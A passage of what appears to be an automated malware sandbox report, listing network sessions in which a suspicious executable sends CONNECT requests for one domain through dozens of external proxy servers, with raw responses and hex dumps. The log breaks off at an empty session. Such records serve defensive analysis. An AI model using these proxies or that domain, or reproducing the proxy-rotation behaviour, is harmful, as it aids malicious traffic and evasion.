1320	192.168.2.9	54201	161.97.104.4	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.277323008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.591850042 CET	82	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1321	192.168.2.9	53645	185.217.136.67	1337	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.385423899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.770838022 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1322	192.168.2.9	53532	124.163.236.54	7302	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.386874914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.434730053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1323	192.168.2.9	54214	14.103.24.20	8000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.387042999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1324	192.168.2.9	54246	47.56.110.204	8989	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.395204067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1325	192.168.2.9	54275	95.164.89.123	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.395488024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1326	192.168.2.9	53628	185.82.238.203	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.395821095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1327	192.168.2.9	54328	104.18.81.76	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.398386002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.552577019 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1328	192.168.2.9	54339	104.22.50.220	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.402991056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.557158947 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1329	192.168.2.9	53698	80.72.68.247	8082	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.403043032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.497031927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.497392893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.555521965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:32.700059891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1330	192.168.2.9	54281	130.162.213.175	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.404257059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.718235016 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1331	192.168.2.9	54221	216.9.224.113	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.404406071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1332	192.168.2.9	54260	94.45.74.60	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.404534101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1333	192.168.2.9	54348	54.67.125.45	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.410094023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.583496094 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:08 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1334	192.168.2.9	54330	104.37.12.129	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.413633108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1335	192.168.2.9	54304	54.233.119.172	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.413842916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.735579014 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:08 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1336	192.168.2.9	52738	103.76.12.58	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.416274071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.797163963 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1337	192.168.2.9	54345	192.163.200.82	11720	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.416800022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1338	192.168.2.9	54372	185.162.231.226	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.418698072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.577447891 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1339	192.168.2.9	53671	194.4.50.132	12334	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.419110060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.434832096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.434837103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.434864044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:32.528176069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:44.637547016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:56.637522936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1340	192.168.2.9	54371	104.19.83.128	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.419317961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.577016115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1341	192.168.2.9	54267	47.106.76.196	8088	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.419475079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1342	192.168.2.9	53724	51.222.241.157	46286	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.419794083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.637717009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1343	192.168.2.9	54384	104.20.24.214	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.422511101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.577851057 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1344	192.168.2.9	54425	104.22.1.113	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.425441027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.579776049 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1345	192.168.2.9	54301	202.162.219.10	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.425739050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1346	192.168.2.9	54522	200.111.182.6	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.426979065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1347	192.168.2.9	54405	45.43.239.168	27070	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.430211067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1348	192.168.2.9	54292	94.177.106.178	2324	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.430542946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1349	192.168.2.9	54314	85.25.103.138	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.432914972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1350	192.168.2.9	54452	50.63.12.33	50781	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
